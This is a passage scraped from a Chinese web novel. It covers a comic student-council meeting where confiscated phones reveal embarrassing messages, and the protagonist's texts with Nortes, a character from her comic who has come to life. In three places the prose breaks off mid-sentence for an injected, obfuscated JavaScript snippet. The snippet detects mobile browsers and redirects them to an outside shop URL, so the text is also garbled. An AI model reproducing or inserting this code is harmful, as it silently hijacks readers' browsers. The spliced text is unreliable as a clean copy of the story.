她想给陆阳羽来个下马威,杀杀他的傲气,于是朝学生会主席搭话说:“我听说有些优秀新生只需要走一轮面试就够了,对吧,主席?” 她说完这话,陆阳羽也求证似的看向裴佑哲。 裴佑哲盯着她看了半晌,表情未变,“不,据我所知,没有这样的特例。” 庄森芽眨眨眼。 咦?他怎么…… 陆阳羽一副小人得志的模样,意味不明地说:“哈,翻车了吧。” 庄森芽打量折裴佑哲,但后者没再看她。 奇怪,裴佑哲……没站在她这边。 以他的情商,肯定能理解庄森芽刚才那番话的用意,就算真的没有这种破格录用的流程,哪怕是看在朋友的份上,他随便说一句“可能有,具体要看每个部门怎么落实”,就能让庄森芽在和陆阳羽的交锋中高人一头。 但他没有这么做。 现在的他公平、坦诚,但似乎少了点人情味。 庄森芽总觉得对方哪里有点不对劲,与他之间好像突然有了点距离感。 突然的疏离是针对自己的吗? 不,应该不是,她最近也没有得罪过裴佑哲。 那或许是因为他其实心情不好?难道后来又和石玥诗发生了什么事? 就在她心里上演一个个小剧场的时候,会议室门口陆陆续续来了一堆人,打断了她不断重映的内心戏。 先进门的是部长段子良,而后是副部长冯月客,跟在他们身后的是形象大使费洛。 庄森芽感觉自己有好一阵子没见过费洛了,他还是和以前一个模样,一头浅黄色的短发,看了就让土狗不敢靠近的穿搭,一脸生人勿近的表情,不说话的时候还是拽酷拽酷的。 他一看到庄森芽,就背着众人给她做了个鬼脸,那意思是他一点也不想来开会。一瞬间,他身上那种酷哥的气质就消失不见了,变得又蠢又憨。 紧跟在几个重要成员身后,又进来了一堆小豆芽,青涩稚嫩的面庞一看就是大一新生。 部长段子良上来就和裴佑哲打招呼,语气仿佛对方是她认识了十几年的兄弟一样,“你真来给我镇场子啦,太给我面子了。” “外联部这次要讨论的几个活动都很重要,我来听听。”裴佑哲回答。 新老成员陆续落座,最后几个成员也压线走进了会议室,大门关上,段子良站起来向大家介绍今日的会议内容。 “今天主要是想就几个拉赞助和联谊的事情聊一聊。”段子良侃侃而谈,她手里连个草稿都没有,仿佛东西全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208456|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都在她的脑海里,“不用太严肃,大家想说什么就说什么,新人有什么想法随时都可以提,不用管那个吉祥物,畅所欲言就好,他就是来凑个热闹的。” 她说话的时候,大手一挥,指了一下裴佑哲的方向。 被点名的学生会主席露出一个宽和的笑容,可不知道为什么,桌上的人好像更紧张了,大概是都希望在裴佑哲的面前能表现出自己最好的一面,反而压力很大。 “另外,除了拉赞助和联谊,这学期我们还有一件挺重要的事情,而且时间也比较紧张。”段子良说话的时候会注视每一个成员,黑亮黑亮的眸子像是熟透的深色樱桃一样,沉静却也带着些灵动,“大概一周之后,有个名叫‘山野猫’的乐队会来我们学校办公益演出,虽然时间不多,但事态也没那么紧急,我们的任务只包括接机和最初两天的住宿,其他的都交给别的部门去处理。” 庄森芽一听,立刻联想到了一个男人。 看来那家伙说要到上茂市举办演唱会不是唬人的,他真的要来。 ‘山野猫乐队’……这名字听着还听接地气。 段子良:“演唱会的事情后面细说,咱们一个一个来,先聊聊拉赞助的事,今年我们——” 部长话没说到一半,突然被一阵手机铃声打断了。 所有人纷纷朝发声源看过去,只见费洛从裤兜里翻出那个吵闹的小东西,没避开众人,就坐在座位上接了起来。 “喂?呃,什么事?”费洛安静了半晌,听对面说话,而后语气变得有点恶劣,大声说道,“你去和老师说,我才不去。” 他撂了电话,撅着嘴往椅子里一躺,一副气鼓鼓的模样。 部长段子良清了一下嗓子,无视了小小的打断,继续会议,“今年有几家重点合作伙伴,名单之前应该发到过你们的校园邮箱里,有些是去年就和我们有来往的,所以沿袭了以前的业务对接组,你们要是有感兴趣的,可以和我说,我看看能不能给你们塞进组——” 咚咚叮铃铃—— 段子良:“……” 费洛的手机又响了。 “干嘛啊?”黄毛的形象大使接起电话,质问对方,语气激动,“我说过了,他从来就没教会我什么,去年考零分我自身确实有问题,但他就一点错都没有吗?” 费洛和电话里的人争执了几个回合,完全没把外联部的人当外人似的,把自己的黑历史说了个遍。 他再次撂下电话的时候,脸都气圆了,成员们一副吃瓜的模样盯着他。 而部长神情未动,就算被接连打断两次,她看起来精神状态也十分稳定。 “……哦,对了。”段子良沉吟一声,突然想起什么一般,“再继续往下说之前,大家把手机都拿出来一下,放在圆桌中间,有一个很重要的环节被我忘记了。” 听到部长这么说,大家伙把手机都翻了出来,摆在桌面上,连学生会主席也不例外。 段子良暂时离开了会议室一段时间,她再回来的时候,手里抱着一个巨大的玻璃罩,看起来像是生日宴会上罩蛋糕的那一种。 她走到圆桌边上,然后一下子把那个玻璃罩扣在了所有人摆放在一起的手机上。 段子良拍拍手,“好了!接下来谁的手机再响,就当着所有人的面外放,或者把收到的讯息当众念出来。” 众人哑然。 原来忘记的环节是指这个吗?! 44. 林子大了什么鸟都有 好一个措手不及,大家都以为是什么正事,毫无防备地把手机递交了上去,都没有来得及静音——别人不太清楚,反正庄森芽没有,显然费洛也没有。 “部长,不愧是你……”一个高年级的学生给段子良比了大拇指,脸上却是一副无奈的神色。 一旁,副部长冯月客一脸歉意,冲有些傻眼的新成员们解释,“不好意思,部长就是这样,比较天马行空,大家习惯就好了。” 副部长声音很温柔,和他温良的外表十分契合,他顶着一张人畜无害的脸替自家部长解释的时候,整个人浑身都散发着一种贤内助的光环。 庄森芽看看一身中气的部长,又看看貌比潘安的副部长。 原来是这种组合啊…… 一个唱红脸一个唱白脸,一通组合拳下来,成员们就是有意见也张不开口了。 段子良露出满意的表情,“好了,我们继续说赞助的事情。今年有一家新开的商场想和我们合作,名叫万源汇,他们家刚刚入驻了许多店铺,正是需要人气的时候,希望我们能给他们拉些人过去,作为回馈,会给我们提供许多优惠和相关活动的赞助费。” 她说着,目光扫视每一名成员,“和他们的对接会比较辛苦,大骏,你来主导,没问题吧?” 圆桌上,一个长得高高壮壮的男生比了个OK的手势,“给我派几个人吧,段姐,那家商场我去看过,占地面积不小,盖了五层,商铺眼花缭乱的,我多带几个新人历练历练。” “行。”部长应道,“咱们这组里有想做这部分的人吗?” “那个……”汪素文举起手来,小声地问,“请问有兼职机会吗?” 段子良:“会有,而且有很多,这也算是对接商场的好处之一吧。” 汪素文看起来十分心动,“部长,我想参与。” “大骏,你有第一个忠实打手了。”段子良说。 “打、打手?”汪素文大惊。 那高壮的被称作大骏的男生笑起来,“哈哈,和商场谈赞助可是个体力活,而且谈判的场合也不少,不过不用太担心,任务分配一下就不多了,要是有什么难搞定的商家就放着我来。” 这时候,一个意料之外的人发话了。 “我也要去拉赞助。” 说话的是费洛,他话音落下,几个高年级的都像见了鬼似的盯着他。 “不是吧,洛哥,你说你要干啥?”一个男生问他。 费洛:“拉赞助啊,大骏不是说他需要人手吗?” 一个女部员满脸讶异,“太阳从西边出来了,你不去联谊会上当花瓶,要去干什么苦力活?” “怎么说话呢。”费洛不满,“做花瓶也是很累的好吗?” “大骏,你要他吗?”部长段子良开口征求当事人的意见,就仿佛费洛是个拖油瓶一样,白给都得考虑考虑。 大骏沉思,看上去十分困扰。 费洛满脸诧异,“不是,大骏,连你也要思考这么久?” “嗯……”大骏沉吟一声,“带洛子去也行,可以起到一个订餐订奶茶的作用。” 费洛打了个响指,“这不就成了吗。” 段子良:“你对自己的要求还真是一点也不高啊。” 叮—— 就在此刻,圆桌中央的玻璃罩里传来了消息提示的声响。 一瞬间,所有人都被吸引了注意,纷纷探头,想要看究竟是谁的手机响了。 庄森芽也盯着像是小山丘一样堆在一起的手机,不由得想道,如果是她的手机响了,会不会收到什么不能见人的消息……? 要是爸妈发来的就应该还好,可如果是编辑发来的,她画漫画的事情可就瞒不住了。 想到这里,她有些紧张。 部长把玻璃罩掀开了,动作仿佛是个上菜的大厨,她把那个响起提示音的手机挑了出来,举着它问:“这是谁的?” 那手机套着一个绿色的壳子,挂着一把卡通短剑当吊坠。 庄森芽看到它,这才松了一口气,那显然不是她的手机。 “是我的,我的。”这时候,陆阳羽站了起来,不好意思地把自己的手机从部长手里接过来,面露歉意,“忘记静音了,我下次一定注意。” 他这话听起来是对所有人说的,可身子却冲着裴佑哲,有种越过部长直接巴结主席的嫌疑。 果然这人作风什么的很让人讨厌。庄森芽心想。 又是贬低作为同期同学的她,又是明目张胆讨好裴佑哲,也太势力了。 比那个诺特斯还让人讨厌。 诺特斯如果不杀人放火、欺压民众的话,如果把他‘杀手绅士’这个称号里‘杀手’两个字去掉,他好歹还剩个绅士。 但这个陆阳羽可以说品性里一点能搬得上台面的都没有。 没有拔高诺特斯形象的意思,但烂人也分烂的程度,监狱里的罪犯还有三六九等呢。 陆阳羽拿过自己的手机后,看到上面的消息,脸色一僵,尴尬地笑起来,“主席,部长,给我一次机会,这回就不念了吧。” 段子良一听,严词拒绝,“不行。” “可是,这,我……” 没等陆阳羽说出个所以然来,他手机里又叮叮咣咣进来好几条消息,这些还不够,紧接着一个电话就打了进来,好像电话对面的人急不可待地要联系上他。 “开免提。”段子良命令。 “呜啊,部长好严厉。”一个新人低声对身旁的副部长说。 冯月客笑了笑,也压低声音,“不用害怕,她是装的,部长不是什么严肃的人。” “真的吗……”新人似乎不太信。 陆阳羽咽了口口水,把手机摆在桌面上,接起电话,开了免提,模样有些拘谨,但脸上仍强撑着一副不以为意的镇定表情。 “喂,妈。” 电话对面传来一个中年女人的声音,“阳羽啊,你内裤是不是穿错了,我给你洗完准备好的你怎么没穿啊?” “噗嗤。”不知道是谁没有控制住声音。 陆阳羽的脸肉眼可见地红了,嘴上还在逞强,“我什么时候需要你给我准备内裤了?妈你又说胡话了!” “怎么跟妈妈说话呢,还是不是妈妈的乖宝宝了。”女人的口气仿佛在教训一个小男孩一样。 “你再这样……我、我可就送你去医院了……!”陆阳羽有点结巴,话尾大吼了起来。 对面女人的声音听起来有点委屈,“怎么了,阳羽,怎么突然对妈妈发这么大的脾气,什么医院,你在说什么呢——” 陆阳羽当即想要挂掉电话,却因为手指在颤抖,点了好几次才点到通话结束键。 他猛地站起来,连声音都有点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208457|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发抖,“我妈她——我妈她脑袋有点问题,可能是发病了……” 众人噤声,你看看我我看看你,谁也没吱声。 最终只有费洛大大咧咧地说:“哎呀,那你得回去看看吧?” 陆阳羽一脸尴尬,最终小声说了句“那我先走一步”,然后灰溜溜地离开了会议室。 他离开之后,会议室内响起了微小的嘘声,“真假,这么大了还要妈妈洗内裤啊……” “表面上完全看不出来,妈宝男隐藏得真深。” 部长段子良发问,“刚才那个是谁招进来的?我好像面试的时候没见过他。” “关系户,没面试,直接进的。”副部长冯月客接话,“他父亲和副校长有点关系。” “喔——”段子良发出了然的声音。 庄森芽听了也有点意外。 那个陆阳羽一直就她走后门这件事情抓着不放,还以为他面试有多艰历尽艰险,结果是个入会流程都没走的关系户? 真是贼喊抓贼,小小年纪就这么多心眼,长大了可得了? “这尊大佛我可不想留啊。”段子良向学生会主席偏头,“把他转到别的部门呗,大善人?” 裴佑哲:“留着也没什么关系吧?” “请走吧还是。”段子良为难地眯起眼睛,压低声音,商量着说,“我不擅长应付这种人,你要喜欢你领走,我看他挺乐意围着你转。” 裴佑哲无奈的笑着摇了摇头,“我想想办法吧。” “仰仗你了。”段子良伸出两只手的食指,指着裴佑哲,一副‘就看你了’的模样。 万源汇拉赞助相关的事情告一段落,部长继续启动下一个话题。 “你们还有一个活,那就是这学期末的的联谊。”段子良双手撑着桌面,话里气息十足,“联谊会大家应该都不陌生,就是把两个学校的学生都聚集起来,让他们吃好、喝好、聊好。” “今年还是上茂外国语大学吗?”底下有人问他。 段子良:“对,不出什么意外的话,我们年年的合作对象都是外国语大学。” “啥时候能和师范的联合一次?” “你想的倒是挺美。”段子良对那男生说,“今年还是按照以往的惯例,外联部的成员都要作为联谊人员来参加,不管有没有对象。” 新人中有发出惊讶的问询,“不是作为工作人员?” 还有人问:“不管有没有对象都要来吗?” “是的,凑人头,这是你们的工作。”段子良态度坚决,“就算是热恋期也得给我过来,再者说,要是因为一个小小的联谊活动感情就破裂了,那种恋爱不谈也罢。” 她摆了摆手,像是很看不起一些经不起考验的感情一般。 叮—— 手机堆里又发出了消息提示的声音。 会议开了不到二十分钟,已经被打断好几次了,仿佛老天爷在和外联部的这些成员作对,让消息不断灌入他们的手机。 段子良顿时两眼放光,饿狼扑食似的掀开玻璃罩,拿出了一台黑色的手机,它没贴膜,也没包着外壳,有种不顾机体死活的美,一点也不在乎它的安危,仿佛碎了就碎了。 “谁的?”段子良举着它问。 坐在最中间的人出了声,“我的。” 所有人都看向学生会主席,后者一脸云淡风轻。 45. 薛定谔:在想我的事? 有人脸上露出一副幸灾乐祸的表情,“哲哥,你手机里的要是机密的话,可以弃权。” 裴佑哲:“没事,不用。” 段子良没有直接把手机给他,而是在锁定屏幕上查看了一番消息通知,“真谨慎啊,居然把锁定屏幕上的消息内容都隐藏了。” “我也是需要隐私的。”裴佑哲模样有些无辜,从段子良那里接过手机,十分坦然地摆在桌面上,解锁。 他点了一下消息通知,界面自动跳转到了聊天软件,消息是一个顶着自拍头像的女生发来的,备注名写的是石玥诗。 裴佑哲倒也不隐瞒,最新消息就这么直白的展现给众人。 那上面写着:「你到底怎么想我们之间的关系?」 嗅闻到了八卦的气息,庄森芽沉默地瞪大眼,嘴巴张成了O型,她扫视了一圈外联部成员,发现不是自己一个人这样,其他人也都是一脸吃瓜的表情。 这次外联部的会议实在是太精彩了。 石玥诗这则消息的意思,明显是想要裴佑哲给出一个态度。 庄森芽不知道他们进行到哪一步了。 最开始的风波从酒吧里裴佑哲和吉他手的那个吻开始,石玥诗一反平日的冷静,当众扇了裴佑哲一个巴掌。 再之后就是裴佑哲像个落汤鸡一样在宿舍楼下等她,怎么等也等不到。可听说他生病,石玥诗就出现了,还把他照顾得很好,第二天学生会主席就又容光焕发了。 庄森芽只知道这么两件事,就算是对感情没那么灵敏的她,也能看出两人之间来回拉扯的剧烈程度。 她心想:所以,现在是石玥诗主动出击的环节吗?好好奇裴佑哲会是什么反应,希望他如果不喜欢就别吊着人家了,要是喜欢那就赶快在一起。 可她记得裴佑哲应该是有其他喜欢的人,这么看,石玥诗希望不大了。 庄森芽不禁为自己的舍友扼腕叹息。 “喔呦。”看到了那条消息后,段子良发出怪声,“灵魂提问。” 裴佑哲盯着那条已经有些冷却的消息框,脸色沉静,看不出在想什么。 “所以她为什么会给你发这种消息?”段子良似乎不打算放过学生会主席,开始深挖这句话背后的细节。 向在场的所有人展示完最新消息后,裴佑哲熄灭了手机屏幕,“继续说正事吧。” “你还没回答我的问题。”段子良说。 “子良,今天的重点是开会。”裴佑哲摆出一副颇为官方的态度,“大家都还没吃饭,我们讲求一下效率,早点放他们去吃东西。” “我看是你想退缩吧。”外联部部长没有放弃,她作为这场会议的主导,执意要让主题偏离正道,“好,临时修改一下规定。如果谁收到的是文字信息,不仅要把消息公之于众,还要解释清楚来龙去脉。” 这已经不是暗中针对了,而是当面开大。 裴佑哲临危不惧,“你这个样子,我可不帮你办陆阳羽转部门的事了。” 段子良接招,“不办就不办,这都是小事,把那种小垃圾PUA走还不简单吗。” 圆桌变成了一个没有硝烟的战场,学生会主席和外联部部长频频过招,看得台下的人目瞪口呆。 庄森芽也不禁诧异,段子良部长还真坚持啊,看来她真的很讨厌在会议上被手机消息打断。 不过,裴佑哲脾气是真的好,换个人被这么对待,可能早就翻脸了。 几番交锋之后,学生会主席败下阵来,他叹息一声,而后开口,简单地阐述了有关那则消息的背景,“前两天我生病了,她一直在照顾我。我昏迷了很久,很多过程中的事情都不记得,但是醒来之后她对我说……我做了些事情。” 庄森芽听着,困惑地眨眨眼。 做了些事情?‘事情’是指什么…… 看他这副欲言又止的模样,难道是裴佑哲昏迷期间在石玥诗眼前梦游跳芭蕾舞了? 庄森芽看向圆桌周围的人们:费洛双臂抱胸,头缩在衣领里,看起来像是在呼呼大睡;高年级的学长们在频繁交换着眼神,脸上都是一副兴奋的八卦表情;副部长冯月客盯着裴佑哲,眼里露出些许担忧的目光;新人们则是一脸懵懂,就仿佛连石玥诗这个名字都没听过似的。 一旁,段子良的目光意味深长,“原来如此,所以她现在想向你讨个说法。” “嗯。” 外联部部长沉思片刻,而后没有再就这个话题问下去,就这么放过了学生会主席,“你可以把手机放回玻璃罩里了。来,我们继续开会。” 裴佑哲十分配合地把手机又上交了上去。 在段子良的威逼之下,连主席都难逃其手。 这帮新人都紧张地坐直了,仿佛生怕自己是下一个遇难者。 “月客,今年联谊会还是你主持,可以吧?”段子良询问距离她隔了四五个人的副部长。 冯月客点了点头,音色温柔,“交给我吧。” “部门里的人你看着挑,”段子良说,“不用管其他活动的排期,我会和他们说腾出时间来配合你。” “好的。” 庄森芽明显感觉,相比裴佑哲,段子良对待冯月客的态度就温和了许多。 这就是偏爱吗。 好宠。 简单又交代了些联谊的事情,段子良转向下一个话题,“最后就是有关外国乐队来我们学校公益演出的事宜,乐队计划在九月二十六日周五落地,周六在学校内的运动场演出。这个活我来组织安排吧,有想去的可以找我报名,没有我就随便捞几个人跟我去接机。” 一个新人女生开口,“我想接机,部长。” “沈芸,是吧。”段子良确认她的名字。 女生脸上泛着红晕,飘忽的眼神仿佛已经联想到了什么令人激动的事情,“是的。” 段子良:“行,那你到时候跟我走。” 沈芸身边坐着一个看起来和她关系挺好的女生,女生戳了戳她的手臂,低声说:“要去见你偶像了。” 沈芸把头低得更低,一脸藏不住的兴奋羞怯。 庄森芽盯着沈芸,一脸诧异。 不会吧,诺特斯的影响力都已经传播到国内来了吗,身边都能碰上他的粉丝? 那人到底懂不懂什么叫低调行事啊,漫画结束他就要滚蛋了,到时候怎么办,直接上演一场离奇失踪?让他的粉丝们深夜买醉泪如泉涌? 这家伙做事到底有没有考虑过后果…… “还有没有谁要来?”段子良问,半晌没有收到回音,“那我到时候就随便抓人了。” 叮咚—— 就在这会议即将结束的时候,玻璃罩里又传来了信息提示音。 听到那声音的一刻,庄森芽头皮发麻。 是她的手机。那是她特制的消息提示音。 她不禁紧张地心想:会是谁的消息? 段子良从玻璃罩里拿出手机,“谁这么幸运,赶了个晚场?” 庄森芽颤颤巍巍举起手来,“……我。” 部长坏笑一声,把手机放到她的眼前,语气不容拒绝,“念吧。” 庄森芽解锁手机屏幕,打开通讯软件。 看到给她发消息的人时,她的心整个凉了。 联系人的名称是三个大字:神经病。 这是她给诺特斯的备注。 她只觉得整个世界一瞬间都塌了。 完了完了完了完了……!这家伙怎么会突然发消息,不会发一些奇奇怪怪的东西给她吧。 段子良绕了半圈来到庄森芽的背后,视线越过她的肩膀盯着手机屏幕,“点开吧?” 庄森芽吞咽了一口口水,指尖轻触聊天框,屏幕滑动,两人的聊天记录展了开来。 段子良眯起眼睛,盯着最新发来的消息,就这么当众念了出来,一点反悔的机会也不给庄森芽留,“‘这个人在这站了半个小时听我街头演奏,不评价也不鼓掌,你说他到底是什么意思?’” 文字末了,还附了一张图,图上是一条街道,看起来是欧洲的某个街头。照片主角是一个剃了光头的男人,正以一种疑惑的目光打量着拍摄者,这个光头恐怕就是诺特斯信息中提到的怪人。 看完了所有消息,庄森芽在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208458|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心中松了一口气。 还好没有什么奇奇怪怪的内容。 “可以啊,你。”段子良发出感叹。 庄森芽不明所以的盯着她,不理解部长这句感慨是什么意思。 圆桌上,有学长替部长补充说明,“虽然我们是国际学校,但那伙人大三才来,你才大一,这么快就交上外国朋友了啊?” 庄森芽有点慌张地解释:“呃,不,他不是我们学校的……” 说话的时候,隐约感觉到学生会主席的方向投来了一束打量的视线,她没空去在意,因为紧接着段子良就接连丢上来了三个拷问。 “这人是你的谁?怎么认识的?为什么给他备注神经病?” 都是好问题,庄森芽一个也不能如实回答。 考虑到前不久段子良刚刚修改了规则,要求收到信息的人必须把来龙去脉解释清楚,她不得不临时想出了一些借口,否则肯定过不去部长这一关。 “他是……他是我爸的朋友,有一次吃饭的时候认识的。”庄森芽的大脑在飞速地旋转,“给他备注神经病是因为……是因为……” 还没等她解释出个所以然来,新的消息从底端冒了出来。 段子良一下抓起她的手机,大声念道:“‘你为什么要把我画成这种肤色,太少见了。刚才又被观众问到这个问题,我只能解释说是人体彩绘。’” 她念完了,疑惑地朝庄森芽问:“这是什么意思?” 庄森芽紧闭双唇,浑身直冒冷汗,感觉自己要小命休矣。 诺特斯说什么不好,偏偏提什么画画的事? 这让她怎么收场?! “画?是指化妆吗?”这时候,一个学姐说。 庄森芽一愣,隐约看到一株救命稻草就在眼前,她连忙捉住,“对、对,是化妆。” “这应该是个男生吧,你给他亲手化妆?”段子良抓住了重点。 “确实会……”已经说得越来越离谱了,但庄森芽只能将错就错。 “关系不简单啊。”一个学长说,“肯定还有什么内幕没告诉我们。” “你是化妆师吗?”段子良问她。 庄森芽摇摇头。 “你喜欢给人化妆?” “倒也没有。” 外联部部长双手叉腰,“那没得跑了,他是你男朋友。” “什么?不是!”庄森芽当即否认。 怎么突然就牵扯到男朋友上去了?? “化妆多亲密一个活儿啊。”一名学姐说,“距离又近,呼吸都交融在一起,眼睛对着眼睛,嘴唇对着嘴唇……” “我肯定不会给随随便便一个男生化妆。”段子良也说,“当然,长得好看的除外。” 一个男生说:“我也不会随随便便让人给我化妆,倒不是距离近不近、暧不暧昧的问题,只是那些化妆品糊在脸上多难受啊。除非女朋友喜欢,否则我才不会接受。” 已经越说越乱了。 庄森芽还想辩解,可是转念一想,辩解有什么意义吗?这帮人不听到一个劲爆的消息是不会罢休的。 反正他们又不知道这个‘神经病’是谁,绝对不会把他和诺特斯联系在一起,就算她违心地承认了,这些人估计只会哄然一笑,然后就把这件事忘在脑袋后面。 都上大学了,谁还没谈过个对象啊? 想到这里,庄森芽勉强张口,“……我和他还没正式交往。” 她说这话的时候,字都是从喉咙里挤出来的,感觉牙都酸倒了,差点嘴瓢。 呸呸呸,交往个鬼,一辈子都不可能! “哈哈,果然有点什么!”人们起哄。 “小学妹,藏是藏不住的,心思可都写在脸上咯。”有人笑着说。 庄森芽脸都黑了。 心思?什么心思,想要把诺特斯刀了的心思吗? “可以理解,恋情初期不想公布是很正常的。”部长段子良放过了她,回到她的位置上打算继续开会。 庄森芽趁这个机会偷偷把手机静了音,这才塞回玻璃罩里。 她可不想再闹出什么事来了。 46. 都是狠人 “刚刚说到哪了?”段子良问。 “公益演出。”有人提醒她。 “哦对。”段子良豁然开朗,“除了接机以外,我们还有一个大项需要负责——” 她话没说完,突然,会议室响起了凳子腿和地面的摩擦声,声音很大,极度刺耳。 人们望过去,只见裴佑哲陡然站了起来,动作之大仿佛生气了,可他脸上却是一如往常的平静神情。 “你们继续开,我有点事先走了。”说罢,他掀开玻璃罩取走了自己的手机,然后头也不回地往会议室的门口走。 “还有五分钟就结束了,你去监督导弹发射啊,这么急。”段子良说。 裴佑哲没回话,身影消失在了会议室外的走廊。 部员们彼此间交流了一番眼神,都不知道学生会主席突然怎么了。 段子良没纠结于主席突然间的怪异举动,很快速地将注意力转移回来,给这场会议收尾,“另一件需要我们做的事情,就是确保演出流程的顺利进行。乐队在后台的时候,他们有什么需求都需要我们去配合。几个人是希腊来的,其中有一两个会说英语,要是有谁想要锻炼锻炼口语可以找我报名,但也别太拉胯,不要让人家觉得我们水平不行。” 听完这段话,庄森芽有点疑惑。 诺特斯不是会说汉语吗,难道他没和外联部的人说明这一点? 几个学生纷纷表示要参加,段子良记下了他们的名字。 交代完了这最后一项事宜,会议解散。 庄森芽和汪素文两人走在去食堂的路上,她到现在仍心有余悸。 刚才会上真的好险……差点漫画的事情就要暴露了。 本身就十分不希望别人知道她在画漫画,现在加上诺特斯从漫画里跑出来的事情,她就更是严防死守,一点消息也不想透露给其他人。 好在这回的乱子没闹大,否则就要很难收场了。 到食堂打了茄子和米饭,庄森芽坐下来,等待被选菜难住的汪素文。女孩家庭条件似乎不太好,每次吃饭都挑便宜的,但有些时候也会在想吃的菜和便宜的菜之间纠结。 等待舍友的时候,庄森芽翻出自己的手机,发现又收到了几条新消息,全都是来自诺特斯。 她点进聊天页面,男人像是发小作文似的,接二连三给她发了一堆东西,也不管她回不回。 「从废弃建筑里救了只猫,离开的时候习惯性隐身,但是好像把它吓炸毛了。它炸毛之后慌不择路,又卡进了缝隙里,我还得再救它一次,哎。」 下一条是十分钟之前: 「希腊人会在新年的时候摔石榴庆祝,那么多完整的大石榴就被摔在地上浪费掉了。好可惜啊,我在莱王星上做吟游诗人的时候都是饥一顿饱一顿的。」 看到一个少见的字眼,庄森芽盯着他。 吟游诗人?什么意思…… 他在说什么时候的事? 话说回来,他怎么这么了解希腊文化,看这意思他还在那边过年了,这男人在没来找她之前偷偷摸摸在希腊生活了多久? 庄森芽继续往下看,下面是一条三分钟之前的消息: 「你妈妈做的那道可乐鸡翅很好吃,能给我一份菜谱吗?」 还菜谱,噎不死你。 庄森芽放下手机。 但紧接着,不到五秒,它就又亮了起来。 「不说话的话我就去你家了哦。」 就仿佛知道她在看手机一样,男人随即发来恐吓。 庄森芽猛然抄起它,噼里啪啦在上面打字:「你敢!」 诺特斯:「菜谱。」 庄森芽:「我在忙。」 诺特斯:「明天中午拜访的话会有人在吗?」 这家伙……简直无理取闹! 庄森芽:「不准去我家,我等一下发给你。」 她想了想,又编辑了一条发过去:「还有不要给我乱发消息!报备就够了。」 诺特斯:「好吧。」 庄森芽向老妈要了可乐鸡翅的菜谱,愤愤地把链接甩给了诺特斯。 很快,她收到了对方发回来的消息,那是个她看不懂的单词,估计是希腊文的感谢之类的。 庄森芽狠狠把手机面朝下扣在了桌面上,仿佛它是那个男人的脑袋一样。 正巧,汪素文端着餐盘走过来,看到庄森芽一脸愤怒,于是关心地问她:“遇到什么事了吗,森芽?” 庄森芽长疏了一口气,心中告诉自己冷静,“没什么,被狗咬了。” 汪素文单纯地眨了眨眼,看了一圈四周,“这里也没有狗狗哇。” “没事,吃饭吧。” 这顿饭是什么滋味庄森芽完全没记住,就记住胸腔里鼓胀的对诺特斯的不满了。 怎么想,那家伙都是颗定时炸弹,动动手指就给她添了这么多麻烦。 庄森芽有预感,一周后的公益演出有什么更大的在等她。 难搞,她快要愁死了。 ## 距离一周后的公益演出隔着一个周末,庄森芽打算利用这个机会好好休息一下。 正式上课的第一周快把她累惨了,课程、社团活动、麻烦的人,所有一切都堆在一起,忙得不可开交。 绘画社在周五的时候通知说要在周六举办一场写生活动,地点选在罗可公园。 听上去是个轻松愉快的活动,于是疲惫不已的庄森芽报了名。 周五的时候,雏鸟周的小组成员群里有了动静,温枣问他们周末都打算干什么,没事的话要不要去喝点小酒。 庄森芽看到消息,不禁心想,她还真是爱喝酒,雏鸟周的时候就喝得昏天暗地,正式上课了,那些繁重的课程也没把她的兴头打消。 庄森芽也想和雏鸟周的小组成员聚一聚,虽然只是一周不见,但总觉得很久没看到他们了,感觉还有一些想念。 即便只是和他们短暂地相处了一周,但是却觉得关系很亲密,甚至比舍友还要亲近。 总是一身粉衣服、性格活泼又平易近人的温枣,戴着一副眼镜严谨又可靠的学霸何元楚,还有她前两天在外联部会议上见过一面的金毛犬形象大使费洛。 他们几人勇闯驻马山的那段经历,现在依然历历在目,虽然有些可怕,但骇人中却也夹杂着彼此照应的温馨。 庄森芽的舍友们也都是很好的人,但总归没有一起合作去达成什么共同目标的经历,她觉得自己还是与雏鸟周朋友们的友谊更加深刻一些。 她在群里回应温枣:「我周日有时间,周六要和绘画社的人去罗可公园写生。」 温枣很快就回了消息:「写生!我能跟着一起去吗?」 庄森芽没想到她会提出这种请求,但考虑到温枣平时会看动漫,心想她或许就是因为这个所以才对绘画感兴趣。 庄森芽:「不太清楚,但是我可以问问团长。」 庄森芽打开了和绘画社团长孟高义的聊天框,她之所以有这个人的联系方式,是因为在那场可以称之为‘颜料大战’的见面活动上,她几乎和绘画社所有热情的成员都加上了好友。 庄森芽给团长发消息:「团长,周六的学生活动我可以带朋友一起去吗?」 团长孟高义很快回了她的消息:「可以啊,欢迎!」 庄森芽:「好的,谢谢团长。」 得到了肯定的回复,庄森芽又切 